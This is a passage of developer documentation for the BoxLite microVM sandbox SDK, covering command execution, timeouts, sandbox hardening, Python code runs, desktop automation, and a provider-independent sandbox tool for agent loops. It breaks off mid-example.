SimpleBox async def main() -> None: async with SimpleBox(image="alpine:latest") as box: # Drill down to the underlying native Box handle for true streaming reads native_box = box._box # Native Box.exec: the parameter is named timeout_secs (not timeout) execution = await native_box.exec( "sh", ["-c", "for i in 1 2 3; do echo line-$i; sleep 1; done"], timeout_secs=30.0, ) stdout = execution.stdout() # async iterator if stdout is not None: async for chunk in stdout: text = chunk.decode("utf-8", "replace") if isinstance(chunk, bytes) else chunk print("streamed:", text.rstrip()) result = await execution.wait() # get the exit code print("exit_code:", result.exit_code) if __name__ == "__main__": try: asyncio.run(main()) except RuntimeError as e: print(f"BoxLite failed to run: {e}") ``` > Note: `box._box` is an SDK-internal handle; the leading underscore signals "not public, but stable to use". For most cases, `await box.exec(...)` and its aggregated result are enough; drill down to `Execution` only when you need to consume output as it runs (long-running task progress, log following). ### Timeout control `SimpleBox.exec`'s timeout parameter is **`timeout` (float, seconds)**. A timeout does not raise a Python exception; the process is killed with SIGTERM and returns a **negative exit code** (`-15`, that is `-SIGTERM`) — check `exit_code` (negative / non-zero means it was killed). On this path, `error_message` is `None`; to detect a timeout, inspect `exit_code`: ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio from boxlite import SimpleBox async def main() -> None: async with SimpleBox(image="alpine:latest") as box: # Set a 2-second timeout on a long-running command result = await box.exec("sleep", "10", timeout=2.0) # After ~2 seconds the process is terminated by SIGTERM; exit_code is -15 (negative = killed by signal). print("exit_code:", result.exit_code) # -15 (terminated by the timeout SIGTERM) # On the timeout path, error_message is None. # To detect a timeout, check that exit_code is negative / non-zero. print("error_message:", result.error_message) # None if __name__ == "__main__": try: asyncio.run(main()) except RuntimeError as e: print(f"BoxLite failed to run: {e}") ``` > Naming reminder: the wrapper-layer `SimpleBox.exec` uses `timeout` (float); the lower-level native `Box.exec` uses `timeout_secs` (see the streaming example above); `CodeBox.run` uses `timeout` (int). *** ### Harden the box for untrusted code The microVM boundary is always on. Two further knobs narrow what the code inside can reach — tighten the OS-level sandbox around the VM, and restrict where it can talk to. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio from boxlite import SimpleBox, SecurityOptions, NetworkSpec from boxlite import AdvancedBoxOptions async def main(): try: async with SimpleBox( image="python:slim", # Tightest OS-level sandbox: jailer + seccomp + rlimits advanced=AdvancedBoxOptions(security=SecurityOptions.maximum()), # Only these hosts resolve; everything else is DNS-sinkholed network=NetworkSpec(mode="enabled", allow_net=["pypi.org", "files.pythonhosted.org"]), ) as box: result = await box.exec("python", "-c", "print('hello from a locked-down box')") print(result.stdout, result.exit_code) except RuntimeError as exc: print(f"sandbox error: {exc}") asyncio.run(main()) ``` | Goal | Pass this | Notes | | - | - | - | | Tightest OS-level sandbox | `advanced=AdvancedBoxOptions(security=SecurityOptions.maximum())` | Presets are `development()` / `standard()` / `maximum()`. There is no `minimum()` | | No network at all | `network=NetworkSpec(mode="disabled")` | The box gets no network interface | | Allow specific hosts only | `network=NetworkSpec(mode="enabled", allow_net=[...])` | `mode` is required; an empty `allow_net` means allow all | > `security=` is not a top-level keyword — passing it directly raises `TypeError: BoxOptions.__new__() got an unexpected keyword argument 'security'`. It must be wrapped in `advanced=AdvancedBoxOptions(security=...)`. Details: [Secrets and hardening](/manage-sandbox/secrets-and-security) and [Network access](/manage-sandbox/network-access). ## Parameters and Returns ### `SimpleBox.exec(cmd, *args, env=None, user=None, timeout=None, cwd=None)` Source: `SimpleBox.exec` in `sdks/python/boxlite/simplebox.py` | Parameter | Type | Required | Description | | - | - | - | - | | `cmd` | `str` | Yes | The program name to run, such as `"ls"`, `"python"`, `"node"`, `"bash"` | | `*args` | `str...` | No | Arguments passed to the program, such as `"-l"`, or `"-c", "..."` | | `env` | `dict[str, str]` | No | Environment variables for this execution; **must be a dict** (converted internally to a list for the native layer). Defaults to the container's default environment | | `user` | `str` | No | Run user, in the form `[:]`, such as `"nobody"`, `"1000:1000"`. Defaults to the image's configured user | | `timeout` | `float` (seconds) | No | Execution timeout; no timeout by default. A timeout does not raise; the process is killed and returns a non-zero exit code | | `cwd` | `str` | No | Working directory inside the container; defaults to the container's configured workdir | Returns `ExecResult` (a dataclass, `ExecResult` in `sdks/python/boxlite/exec.py`): | Field | Type | Description | | - | - | - | | `exit_code` | `int` | Process exit code. **A non-zero value does not raise** — check it yourself. When killed by a signal (such as the timeout SIGTERM) it is **negative** (timeout = `-15`); when the SDK's internal wait fails it is `-1` | | `stdout` | `str` | Standard output (aggregated and decoded) | | `stderr` | `str` | Standard error (aggregated and decoded) | | `error_message` | `str \| None` | Non-`None` only when the SDK's internal wait / spawn fails; `None` on both the timeout (SIGTERM) path and normal exit. To detect a timeout, check for a negative `exit_code` | ### Node equivalent: `SimpleBox.exec(...)` Source: `sdks/node/lib/simplebox.ts`. Three overloads: | Call form | Description | | - | - | | `exec(cmd, ...args)` | Program name plus string arguments only | | `exec(cmd, args: string[], env: Record)` | Explicit argument array + environment variables | | `exec(cmd, args, env?, options?: { cwd?; user?; timeoutSecs?; })` | Full form; the **timeout field is `timeoutSecs`** (different from the Python name) | Returns `ExecResult = { exitCode: number; stdout: string; stderr: string }` (**camelCase** `exitCode`). Node's `env` is also an object, `Record`, not an array. *** ## Troubleshooting ### Passing `env` as a list -> `AttributeError` / wrong behavior `SimpleBox.exec(env=...)` expects a **dict**; internally it converts via `env.items()` (simplebox.py:220). Passing a list errors at the `.items()` call. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # Wrong: env passed as a list await box.exec("env", env=[("FOO", "bar")]) # a list has no .items() # Correct: env passed as a dict await box.exec("env", env={"FOO": "bar"}) # ok ``` > Note the distinction: the `SimpleBox(...)` constructor's box-level `env=` takes a list of tuples (for example `env=[("USER","alice")]`); whereas **`exec(env=...)` takes a dict**. The two layers differ — don't mix them up. ### A command failed but raised nothing A non-zero exit code from `exec` **does not** raise — this is by design (so an agent can self-check and decide based on it). Always check `exit_code`: ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} result = await box.exec("false") # exit code 1, but does not raise if result.exit_code != 0: print("command failed:", result.stderr) ``` Node behaves the same: `await box.exec("false")` returns `{ exitCode: 1 }` and does not reject. ### Missing command / image pull failure -> standard `RuntimeError` / bare `Error` (not `BoxliteError`) A missing command or an image pull failure raises a standard `RuntimeError` (Python) / bare `Error` (Node), not `BoxliteError`. See [Error Handling](/guides/error-handling#troubleshooting). ### Writing to `/tmp`, `/dev/shm` (tmpfs) and then not finding it This is unrelated to `exec` but often shows up alongside it: `copy_in` to a tmpfs mount point (the same limitation as `docker cp`) may not be readable afterward. To get a file into `/tmp`, pipe a tar through exec, or write to a non-tmpfs path. See [Moving files without a mount](/manage-sandbox/volumes#moving-files-without-a-mount). ### Don't pack arguments into one string `exec("ls -l /")` looks for `"ls -l /"` as a **single program name** and will fail. Split it into `exec("ls", "-l", "/")`, or go through a shell explicitly: `exec("sh", "-c", "ls -l /")`. ### Environment constraint: hardware virtualization required Each BoxLite box is a microVM and needs underlying virtualization: * Linux: requires KVM (`/dev/kvm` available); WSL2 needs KVM and the user in the `kvm` group. * macOS arm64: uses Apple's Hypervisor.framework and needs **no `/dev/kvm`**. macOS Intel is not supported. * Environments without virtualization (most CI containers) -> the box fails to start and raises a standard `RuntimeError` (the process does not crash; it can be caught). *** ## A tour: shell command and CodeBox side by side Moved here from the section index, which is now a summary and an index. The most fundamental agent tool is **exec** — running a command inside the sandbox and reading the result. Both snippets below run as-is. ```python Python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio from boxlite import SimpleBox, CodeBox async def main(): # ---- 1. Run an arbitrary shell command (the most general agent tool) ---- try: # auto_remove=True is the wrapper-layer default: cleaned up on exiting async with async with SimpleBox(image="alpine:latest") as box: # exec takes (command, *args); returns ExecResult result = await box.exec("echo", "hello from an agent") # Important: a non-zero exit code does NOT raise; you must check exit_code if result.exit_code != 0: print("command failed:", result.stderr) else: print("stdout:", result.stdout.strip()) except RuntimeError as e: # Image pull failure / no virtualization raises a standard RuntimeError (not BoxliteError) print("startup or pull failed:", e) # ---- 2. Run agent-generated Python code (CodeBox defaults to python:slim) ---- try: async with CodeBox() as code_box: # run() executes a code string and returns stdout (str) generated_code = "print(sum(range(1, 11)))" output = await code_box.run(generated_code) print("code output:", output.strip()) except RuntimeError as e: print("CodeBox failed:", e) asyncio.run(main()) ``` ```typescript Node.js theme={"theme":{"light":"github-light","dark":"github-dark"}} // The package name is @boxlite-ai/boxlite (not 'boxlite', not '@boxlite/sdk') import { SimpleBox, CodeBox } from "@boxlite-ai/boxlite"; async function main(): Promise { // ---- 1. Run an arbitrary shell command ---- try { // await using: cleaned up automatically at end of scope per autoRemove (default true) await using box = new SimpleBox({ image: "alpine:latest" }); const result = await box.exec("echo", "hello from an agent"); if (result.exitCode !== 0) { console.error("command failed:", result.stderr); } else { console.log("stdout:", result.stdout.trim()); } } catch (e) { console.error("failed:", e); } // ---- 2. Run agent-generated code (CodeBox image defaults to python:slim) ---- try { await using codeBox = new CodeBox(); const output = await codeBox.run("print(sum(range(1, 11)))"); console.log("code output:", output.trim()); } catch (e) { console.error("CodeBox failed:", e); } } main(); ``` *** ## Related pages * [Agent Tools overview](/agent-tools/index) * [Runtime / lifecycle for running commands](/manage-sandbox/lifecycle) * [Custom resources / configuration (cpus / memory / env)](/manage-sandbox/environment) * [Secrets and security options](/manage-sandbox/secrets-and-security) # Run Python code in a box Source: https://docs.boxlite.ai/agent-tools/code-execution-python Run Python inside an isolated microVM with CodeBox and read stdout back — the shortest path for an agent's "write code, execute, read result" loop. One call, `await cb.run(code)`, starts a `python:slim` sandbox, runs the code, and returns its stdout. `pip install` works inside the box, and everything is cleaned up on exit. ## Quick Example (minimal happy path) This runs as-is. The first run pulls the image first, which can take tens of seconds. ```python Python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio import boxlite async def main() -> None: # CodeBox defaults to the "python:slim" image; no arguments required try: async with boxlite.CodeBox() as cb: # run() hands the code to python -c inside the sandbox and returns the stdout string output = await cb.run("print('Hello from a microVM!')") print(output) # -> Hello from a microVM! except RuntimeError as e: # Startup issues such as image pull failure / no virtualization raise a standard RuntimeError print(f"CodeBox failed to start: {e}") if __name__ == "__main__": asyncio.run(main()) ``` ```typescript Node.js theme={"theme":{"light":"github-light","dark":"github-dark"}} import { CodeBox, ExecError } from "@boxlite-ai/boxlite"; async function main(): Promise { const cb = new CodeBox(); // default image "python:slim" try { const output = await cb.run("print('Hello from Node + microVM!')"); console.log(output); } catch (err) { if (err instanceof ExecError) { console.error(`Python execution failed exitCode=${err.exitCode}: ${err.stderr}`); } else { console.error(`CodeBox failed to start: ${err}`); } } finally { await cb.stop(); } } main(); ``` > Node's `run()` **does throw** `ExecError` on a non-zero exit — the opposite of Python's `run()`, which never raises. This is the one behavior that does not carry over between the two languages; see [Parameters and Returns](#await-cbruncode-timeoutnone-str) below. ### Install a package, then execute ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio import boxlite async def main() -> None: try: async with boxlite.CodeBox() as cb: # Install a third-party library at runtime (equivalent to pip install requests inside the sandbox) await cb.install_package("requests") output = await cb.run( "import requests; " "print(requests.get('https://api.github.com/zen').text)" ) print(output) except RuntimeError as e: print(f"CodeBox failed to start: {e}") if __name__ == "__main__": asyncio.run(main()) ``` > Note: `run()` returns **stdout only**. If the code writes to stderr (for example, a traceback), use `exec()` below to get the full result. ### Need both stdout and stderr / check the exit code `run()` **does not raise** on a non-zero exit and **does not return stderr**. To get the error output or exit code, use `exec()`, which is inherited from `SimpleBox`: ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio import boxlite async def main() -> None: try: async with boxlite.CodeBox() as cb: # Intentionally run code that raises an exception result = await cb.exec( "/usr/local/bin/python", "-c", "raise ValueError('boom')" ) print("exit_code:", result.exit_code) # non-zero print("stdout:", result.stdout) print("stderr:", result.stderr) # the traceback appears here except RuntimeError as e: print(f"CodeBox failed to start: {e}") if __name__ == "__main__": asyncio.run(main()) ``` ## Parameters and Returns ### `CodeBox(...)` constructor parameters `CodeBox` extends `SimpleBox`; other parameters (`volumes`, `network`, `secrets`, `advanced`, and so on) pass through via `**kwargs`. To lock a `CodeBox` down for untrusted code, see [Harden the box for untrusted code](/agent-tools/code-execution-any-language#harden-the-box-for-untrusted-code). | Parameter | Type | Required | Default | Description | | - | - | - | - | - | | `image` | `str` | No | `"python:slim"` | A container image that includes Python | | `memory_mib` | `int \| None` | No | `None` (system default) | Memory limit in MiB. When `None`, the runtime applies its system default — see [Compute resources](/manage-sandbox/compute-resources#defaults) | | `cpus` | `int \| None` | No | `None` (system default) | Number of CPU cores. When `None`, the runtime applies its system default — see [Compute resources](/manage-sandbox/compute-resources#defaults) | | `runtime` | `Boxlite \| None` | No | `None` (global default runtime) | Reuse an existing runtime handle | | `**kwargs` | — | No | — | Passed through to `SimpleBox` / `BoxOptions` (for example `name`, `auto_remove`, `volumes`, `network`) | > `CodeBox` passes `memory_mib` / `cpus` straight through, so an unset value resolves to the same VM defaults as every other Box type. [Compute resources → Defaults](/manage-sandbox/compute-resources#defaults) is the single source of truth for those numbers; set both explicitly in production rather than relying on them. ### `await cb.run(code, timeout=None) -> str` | Parameter | Type | Required | Description | | - | - | - | - | | `code` | `str` | Yes | The Python source to execute (run internally as `python -c `) | | `timeout` | `int \| None` | No | Accepted for API compatibility but **not enforced**. For a hard timeout, use `exec(..., timeout=)` | Returns: the **stdout string** of the execution. A non-zero exit does not raise (unlike the Node SDK's `run`, which throws `ExecError`). ### Other common methods (all `async`) | Method | Signature | Returns | Description | | - | - | - | - | | `run_script` | `run_script(script_path: str)` | `str` (stdout) | Read a `.py` file from the host and execute it | | `install_package` | `install_package(package: str)` | `str` (stdout + stderr) | `pip install ` (for example `"numpy==1.24.0"`) | | `install_packages` | `install_packages(*packages: str)` | `str` (stdout + stderr) | Install several packages at once | | `exec` | `exec(cmd, *args, env=None, user=None, timeout=None, cwd=None)` | `ExecResult` | Inherited from `SimpleBox`; runs any command | > `install_package` and `install_packages` return `result.stdout + result.stderr` concatenated, because pip writes progress to both streams. ### `ExecResult` fields (returned by `exec()`) | Field | Type | Description | | - | - | - | | `exit_code` | `int` | Process exit code; a non-zero value **does not** raise — check it yourself | | `stdout` | `str` | Standard output | | `stderr` | `str` | Standard error | | `error_message` | `str \| None` | Non-`None` only when the process died unexpectedly | > Timeout naming / type reminder: `SimpleBox.exec`'s `timeout` is a `float` (seconds), while `CodeBox.run`'s `timeout` is an `int`. Use `exec` when you need a hard timeout. ## Troubleshooting ### `run()` returns no error info / an empty string `run()` returns stdout only and does not raise on a non-zero exit. If the code errors, the traceback is on stderr, which `run()` does not see. Use `exec("/usr/local/bin/python", "-c", code)` instead and read `result.stderr` and `result.exit_code` (see the example above). ### `ModuleNotFoundError: No module named 'xxx'` `python:slim` ships only the standard library. A third-party library must be installed with `await cb.install_package("xxx")` (or `install_packages(...)`) before `run()`. Installing packages requires PyPI to be reachable. ### `RuntimeError` (image pull failure / no virtualization) * A network hiccup during image pull raises a standard `builtins.RuntimeError` (not `BoxliteError`); you can retry with `try/except RuntimeError`. * Starting a sandbox requires hardware virtualization: Linux needs KVM (the user in the `kvm` group; same on WSL2); macOS Apple Silicon uses Hypervisor.framework and needs no `/dev/kvm`; macOS Intel is not supported. Without virtualization, startup fails but the process does not crash, so the exception can be caught. ### `RuntimeError: Box not started ...` `CodeBox` is an **async context manager**; the sandbox is actually created and started when you enter `async with`. Call `run`/`exec` inside the `async with boxlite.CodeBox() as cb:` block, or call `await cb.start()` first. ### Limiting execution time `CodeBox.run`'s `timeout` is not enforced. When you need an enforced timeout, use `exec`: ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} result = await cb.exec("/usr/local/bin/python", "-c", code, timeout=10.0) # 10 seconds ``` `exec`'s `timeout` is in seconds (float). # Computer use (desktop) Source: https://docs.boxlite.ai/agent-tools/computer-use Boot a full Linux desktop inside a sandbox so an agent can see the screen, move the mouse, click, type, and scroll. Screenshots come back as base64 PNG, ready to feed to a vision model. Use it when there is no API to call and the interface is the only path — filling forms, operating desktop software, driving GUI-only tools. The high-level `ComputerBox` API is Python and Node; other SDKs drive the desktop through low-level `exec`. ## Quick Example The minimal flow: start the desktop, wait until ready, then take a screenshot and save it locally. The code is ready to copy and run. ```python Python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio import base64 import boxlite async def main() -> None: # ComputerBox is an async context manager: entering creates and starts the desktop box try: async with boxlite.ComputerBox(cpu=2, memory=2048) as desktop: # The desktop environment (XFCE + selkies) takes time to initialize; wait until ready first await desktop.wait_until_ready(timeout=60) # screenshot() returns a dict: {data: base64 PNG, width, height, format} shot = await desktop.screenshot() print(f"screenshot: {shot['width']}x{shot['height']} {shot['format']}") # data is a base64 string; decode it and write a PNG with open("desktop.png", "wb") as f: f.write(base64.b64decode(shot["data"])) print("saved to desktop.png") except RuntimeError as e: # Image pull failure / no virtualization raises a standard RuntimeError print(f"desktop failed to start: {e}") if __name__ == "__main__": asyncio.run(main()) ``` ```typescript Node.js theme={"theme":{"light":"github-light","dark":"github-dark"}} import { writeFileSync } from "node:fs"; import { ComputerBox } from "@boxlite-ai/boxlite"; async function main(): Promise { const desktop = new ComputerBox({ cpus: 2, memoryMib: 2048 }); try { // Desktop initialization takes time; wait until ready first await desktop.waitUntilReady(60); // screenshot() returns { data: base64 PNG, width, height, format } const shot = await desktop.screenshot(); console.log(`screenshot: ${shot.width}x${shot.height} ${shot.format}`); writeFileSync("desktop.png", Buffer.from(shot.data, "base64")); console.log("saved to desktop.png"); } catch (err) { // Image pull failure / no virtualization raises a standard Error console.error(`desktop failed to start: ${(err as Error).message}`); } finally { // Stop manually to release resources; ComputerBox extends SimpleBox and also supports `await using` auto-release await desktop.stop(); } } main(); ``` ## Parameters & Returns ### Constructor parameters Python `ComputerBox(...)` (keyword arguments): | Parameter | Type | Required | Default | Description | | - | - | - | - | - | | `cpu` | `int` | No | `2` | Number of CPU cores | | `memory` | `int` | No | `2048` | Memory (MiB) | | `gui_http_port` | `int` | No | `3000` | Host-mapped HTTP desktop port | | `gui_https_port` | `int` | No | `3001` | Host-mapped HTTPS desktop port | | `runtime` | `Boxlite \| None` | No | `None` | Reuse an existing runtime; `None` uses the global default | | `**kwargs` | — | No | — | Passed through to `SimpleBox` (e.g. `volumes`, `env`, `name`) | Node `new ComputerBox(options?)` (`ComputerBoxOptions`): | Field | Type | Required | Default | Description | | - | - | - | - | - | | `cpus` | `number` | No | `2` | Number of CPU cores | | `memoryMib` | `number` | No | `2048` | Memory (MiB) | | `guiHttpPort` | `number` | No | `3000` | Host-mapped HTTP desktop port | | `guiHttpsPort` | `number` | No | `3001` | Host-mapped HTTPS desktop port | | (others) | — | No | — | Inherited from `SimpleBoxOptions` (`image` / `cpus` / `memoryMib` are fixed by ComputerBox; the image cannot be overridden) | > The image is fixed to `lscr.io/linuxserver/webtop:ubuntu-xfce`, and the display resolution is fixed to `1024x768` (`DISPLAY=:1`). These are set by environment variables injected by the SDK and are not changed via constructor parameters. ### GUI automation methods (Python / Node equivalents) | Python | Node | Returns | Description | | - | - | - | - | | `wait_until_ready(timeout=60)` | `waitUntilReady(timeout=60)` | `None` | Poll until the desktop is ready; raises `TimeoutError` on timeout | | `screenshot()` | `screenshot()` | `dict` / `Screenshot` | base64 PNG plus width, height, and format | | `mouse_move(x, y)` | `mouseMove(x, y)` | `None` | Move the mouse to absolute coordinates | | `left_click()` | `leftClick()` | `None` | Left click at the current position | | `right_click()` | `rightClick()` | `None` | Right click | | `middle_click()` | `middleClick()` | `None` | Middle click | | `double_click()` | `doubleClick()` | `None` | Double click | | `triple_click()` | `tripleClick()` | `None` | Triple click | | `left_click_drag(sx, sy, ex, ey)` | `leftClickDrag(sx, sy, ex, ey)` | `None` | Hold the left button and drag from start to end | | `cursor_position()` | `cursorPosition()` | `(x, y)` / `[x, y]` | Current cursor coordinates | | `type(text)` | `type(text)` | `None` | Type text from the keyboard | | `key(text)` | `key(keySequence)` | `None` | Press a key or key combination, e.g. `"Return"`, `"ctrl+c"`, `"alt+Tab"` | | `scroll(x, y, direction, amount=3)` | `scroll(x, y, direction, amount=3)` | `None` | Scroll at the given coordinates; `direction` is one of `up` / `down` / `left` / `right` | | `get_screen_size()` | `getScreenSize()` | `(w, h)` / `[w, h]` | Screen resolution | ### `screenshot()` return fields | Field | Type | Description | | - | - | - | | `data` | `str` | base64-encoded PNG data (no prefix; pass straight to `b64decode`) | | `width` | `int` | Width in pixels (fixed at 1024) | | `height` | `int` | Height in pixels (fixed at 768) | | `format` | `str` | Always `"png"` | ### Watching the desktop live in a browser The desktop ports are mapped to the host (default HTTP `3000` / HTTPS `3001`). After the box starts, open `https://localhost:3001` (or `http://localhost:3000`) in a browser to see the live desktop. > HTTPS uses a self-signed certificate, so the browser will show a security warning: click "Advanced" then "Proceed" to continue. ### Full automation example (screenshot, click, type) ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} import asyncio import base64 import boxlite from boxlite import ExecError, TimeoutError async def main() -> None: try: async with boxlite.ComputerBox(cpu=2, memory=2048) as desktop: await desktop.wait_until_ready(timeout=60) width, height = await desktop.get_screen_size() print(f"screen: {width}x{height}") # Move to the center of the screen and click await desktop.mouse_move(width // 2, height // 2) await desktop.left_click() # Type text + press Enter await desktop.type("Hello BoxLite!") await desktop.key("Return") # Scroll await desktop.scroll(width // 2, height // 2, "down", amount=3) # Save the final screenshot shot = await desktop.screenshot() with open("after_action.png", "wb") as f: f.write(base64.b64decode(shot["data"])) print("saved after_action.png") except TimeoutError as e: print(f"desktop not ready: {e}") except ExecError as e: # GUI actions use xdotool underneath; a non-zero exit raises ExecError print(f"GUI action failed: {e}") except RuntimeError as e: print(f"desktop failed to start: {e}") if __name__ == "__main__": asyncio.run(main()) ``` ## Troubleshooting | Symptom / error | Cause | Fix | | - | - | - | | `RuntimeError` (box start / image pull failed) | No hardware virtualization, or a network hiccup during the image pull | On Linux, confirm `/dev/kvm` is available and the user is in the `kvm` group; on macOS Apple Silicon it works directly; wrap the pull in `try/except RuntimeError` and retry | | `TimeoutError: Desktop did not become ready within 60 seconds` | Slow desktop image initialization (first pull, low-spec machine) | Increase `wait_until_ready(timeout=120)`; confirm the box has enough CPU/memory (default 2 cores / 2048 MiB) | | `ExecError` (e.g. `mouse_move(...)` failed) | GUI actions call `xdotool` inside the container; a non-zero exit raises | Call `await wait_until_ready()` before acting; confirm coordinates are within the `1024x768` range | | `ParseError: Failed to parse cursor position ...` | `xdotool` output did not parse as expected | Usually the desktop is not fully ready yet; call `wait_until_ready()` before retrying | | Browser shows "certificate not secure" when opening the desktop page | HTTPS uses a self-signed certificate | Click "Advanced" then "Proceed"; this is expected | | Screenshot is all black / blank | The desktop has not finished rendering, or it started moments ago | Call `await wait_until_ready()` before the screenshot, and wait a moment after an action if needed | | Node: forgot to stop after `new ComputerBox({...})`, leaking resources | The constructor does not auto-stop; leaving scope does not release the box | Call `await desktop.stop()` in a `finally` block (see Quick Example); or use `await using desktop = new ComputerBox({...})` so `Symbol.asyncDispose` (inherited from `SimpleBox`) calls `stop()` automatically at end of scope | | Want to change the desktop image / resolution, but constructor parameters have no effect | The image and resolution are fixed by the SDK (`lscr.io/linuxserver/webtop:ubuntu-xfce`, `1024x768`) | The current version does not support changing the image; treat the value returned by `get_screen_size()` as authoritative for resolution | ### Feeding screenshots to a vision model (computer-use loop) The base64 PNG returned by `screenshot()` can be passed directly as image input to a model that supports computer-use. The actions the model emits (click coordinates, text to type, keys to press) are then mapped back to the `mouse_move` / `left_click` / `type` / `key` methods above, forming a "look at the screen, decide, act, look again" loop. The coordinate origin is the top-left corner, and the range matches the value returned by `get_screen_size()`. # Drive a sandbox from your agent loop Source: https://docs.boxlite.ai/agent-tools/drive-from-agent-loop Give your agent one safe door to a real machine: the model proposes a command, your loop runs it in a microVM, and the result goes back into the conversation. Your process owns the conversation and the tool calls; the box only executes. Every BoxLite line below is identical whichever provider you call — for the opposite arrangement, where the agent CLI lives inside the box, see [Run Claude Code](/agent-in-box/run-claude-code). ## When to use this | Situation | Why this pattern fits | | - | - | | The model writes commands or code you must actually run | A wrong or hostile command hits a disposable microVM, not your host | | The agent needs to iterate — run, read the error, try again | A Box is stateful across calls, so the working directory and installed packages persist within the session | | You already own the agent loop (your own framework, or a provider SDK) | BoxLite plugs in as one tool implementation; nothing else in your loop changes | | You need per-task isolation for untrusted or multi-tenant work | One Box per task, destroyed on exit | *** ## The contract An agent loop that can touch a machine always has the same three moving parts. Only the middle one is BoxLite's job: ```mermaid theme={"theme":{"light":"github-light","dark":"github-dark"}} flowchart LR subgraph trusted["Your process — trusted"] model["Model"] tool["sandbox_exec()"] end box["Box — microVM
untrusted code runs here"] model -- "1. tool call: argv" --> tool tool -- "2. box.exec(*argv)" --> box box -- "3. stdout / stderr / exit_code" --> tool tool -- "4. tool result" --> model ``` 1. **Tool declaration** — a JSON Schema describing what the model may ask for. Provider-specific *wrapper*, identical *schema*. 2. **Tool implementation** — runs the command in a Box and returns a plain dict. **100% provider-independent.** 3. **Result feedback** — hand the dict back to the model. Provider-specific plumbing. So the page is organized the same way: step 1 is written once, step 2 is written per provider, and switching providers changes about ten lines. *** ## Prerequisites * A working BoxLite install (Python `boxlite` or Node `@boxlite-ai/boxlite`) and a machine with hardware virtualization — see [Installation](/getting-started/installation#platform-and-virtualization-requirements-common-to-all-sdks). * **Any model endpoint that supports tool / function calling**, plus that provider's client library. The examples show two protocols; the requirement is the capability, not the vendor. *** ## Step 1 — The box side (identical for every provider) This is the only BoxLite code in an agent loop. Copy it as-is; it does not change when you switch models. ```python Python theme={"theme":{"light":"github-light","dark":"github-dark"}} # box_tool.py — the sandbox tool, provider-independent import boxlite # The schema body is plain JSON Schema, so every provider accepts it unchanged. SANDBOX_EXEC_SCHEMA = { "type": "object", "properties": { "argv": { "type": "array", "items": {"type": "string"}, "description": "Command and arguments, e.g. ['python', '-c', 'print(1)']", } }, "required": ["argv"], } SANDBOX_EXEC_DESCRIPTION = ( "Run a command inside an isolated sandbox and return its stdout, stderr and exit code." ) async def sandbox_exec(box, argv) -> dict: """The single door between the model and the environment. Always returns a dict — never raises — so one bad tool call cannot end the loop. """ if not isinstance(argv, list) or not argv or not all(isinstance(a, str) for a in argv): return {"stdout": "", "stderr": "argv must be a non-empty list of strings", "exit_code": 2} try: result = await box.exec(*argv) except RuntimeError as exc: # A command the image does not have (a common model hallucination) raises here. # Report it as a tool result so the model can correct itself. return {"stdout": "", "stderr": f"command could not be started: {exc}", "exit_code": -1} # A non-zero exit does NOT raise — pass the exit code back and let the model react. return {"stdout": result.stdout, "stderr": result.stderr, "exit_code": result.exit_code} ``` ```typescript Node.js theme={"theme":{"light":"github-light","dark":"github-dark"}} // boxTool.ts — the sandbox tool, provider-independent import { SimpleBox } from "@boxlite-ai/boxlite"; // The schema body is plain JSON Schema, so every provider accepts it unchanged. export const SANDBOX_EXEC_SCHEMA = { type: "object", properties: { argv: { type: "array", items: { type: "string" }, description: "Command and arguments, e.g. ['python', '-c', 'print(1)']", }, }, required: ["argv"], }; export const SANDBOX_EXEC_DESCRIPTION = "Run a command inside an isolated sandbox and return its stdout, stderr and exit code."; interface SandboxExecResult { stdout: string; stderr: string; exitCode: number; } // The single door between the model and the environment. // Always returns an object — never throws — so one bad tool call cannot end the loop. export async function sandboxExec(box: SimpleBox, argv: unknown): Promise { if (!Array.isArray(argv) || argv.length === 0 || !argv.every((a) => typeof a === "string")) { return { stdout: "", stderr: "argv must be a non-empty array of strings", exitCode: 2 }; } try { const result = await box.exec(argv[0], ...argv.slice(1)); // A non-zero exit does NOT throw — pass the exit code back and let the model react. return { stdout: result.stdout, stderr: result.stderr, exitCode: result.exitCode }; } catch (err) { // A command the image does not have (a common model hallucination) throws here. // Report it as a tool result so the model can correct itself. return { stdout: "", stderr: `command could not be started: ${err instanceof Error ? err.message : err}`, exitCode: -1 }; } } ``` Only this step is BoxLite-specific — Step 2's provider wrappers are the same OpenAI/Anthropic client libraries regardless of which language drives the box, so they are not duplicated per language. Two behaviors above are worth internalising, because both are how an agent loop dies in production: | Case | What BoxLite does | What the wrapper must do | | - | - | - | | Command exits non-zero (`sh -c 'exit 3'`) | Returns `ExecResult(exit_code=3)`, **no exception** | Pass `exit_code` back so the model sees the failure | | Command does not exist in the image (`nope`) | Raises `RuntimeError` (`spawn_failed`) | **Catch it** and return it as a tool result, or the loop crashes | Verified end to end against a real `alpine:latest` box, covering every path above: a normal command, a non-zero exit (`exitCode: 3`), a missing command (`exitCode: -1` with the real `spawn_failed` message), and an invalid `argv`. *** ## Step 2 — The model side (swappable) Only this step is provider-specific. The schema from step 1 is reused verbatim; providers differ in how they wrap it and how tool results are fed back. \=== "OpenAI-compatible endpoints" Covers OpenAI itself and every gateway that speaks the same protocol — MiniMax, self-hosted vLLM, Ollama, and others. Switching among them means changing `base_url` and `model`, nothing else. ```python theme={"theme":{"light":"github-light","dark":"github-dark"}} # provider_openai.py import json import os from openai import AsyncOpenAI from box_tool import SANDBOX_EXEC_SCHEMA, SANDBOX_EXEC_DESCRIPTION, sandbox_exec TOOLS = [{ "type": "function", "name": "sandbox_exec", "description": SANDBOX_EXEC_DESCRIPTION, "parameters": SANDBOX_EXEC_SCHEMA, # <-- the shared schema, unchanged }] def build_client(): # base_url is what selects the endpoint. Omit it for OpenAI itself. return AsyncOpenAI( api_key=os.environ[""], # e.g. OPENAI_API_KEY base_url=os.getenv(""), # e.g. https://api.minimax.io/v1 ) async def run_turn(client, box, goal, model, max_rounds=12): response = await client.responses.create( model=model, # e.g. "" instructions="Use sandbox_exec to interact with the environment. Summarize when done.", input=[{"role": "user", "content": 